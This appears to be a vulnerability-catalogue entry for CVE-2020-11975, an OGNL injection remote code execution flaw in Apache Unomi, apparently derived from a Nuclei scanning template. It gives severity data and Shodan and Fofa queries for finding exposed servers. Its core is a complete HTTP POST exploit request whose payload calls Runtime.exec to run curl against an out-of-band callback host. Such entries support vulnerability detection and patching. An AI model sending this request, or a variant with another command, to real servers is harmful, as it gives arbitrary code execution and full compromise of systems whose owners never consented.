| Title | Apache Unomi - Remote Code Execution |
|---|---|
| Author | Sourabh-Sahu |
| Severity | Critical |
| Impact | Successful exploitation allows an attacker to execute arbitrary code on the server with the privileges of the Java process, potentially leading to complete system compromise. |
| Remediation | Update Apache Unomi to version 1.5.2 or later. Disable OGNL scripting in conditions if not required. |
| CVSS Score | 9.8 |
| EPSS Score | 0.8271 |
| CVE ID | CVE-2020-11975 |
| CWE ID | CWE-94 |
| Shodan Query | http.title:"Apache Unomi" |
| Fofa Query | title="Apache Unomi" |
| Tags | cve cve2020 apache unomi rce ognl oast vkev vuln |
Apache Unomi allows conditions to use OGNL scripting which offers the possibility to call static Java classes from the JDK that could execute code with the permission level of the running Java process, enabling attackers to execute arbitrary code.
POST /context.json HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
Connection: close
Content-Length: 736
Accept: */*
Accept-Language: en
Content-Type: application/json
Accept-Encoding: gzip
{
"personalizations":[
{
"id":"gender-test_anystr",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#r=@java.lang.Runtime@getRuntime()).(#r.exec(\"curl d5jofl1le0o35q12hug0au6rsi87se9m4.oast.pro\"))",
"comparisonOperator":"equals_anystr",
"propertyValue":"male_anystr"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"test-demo-session-id"
}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-11975.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-11975.pcap
N/AN/A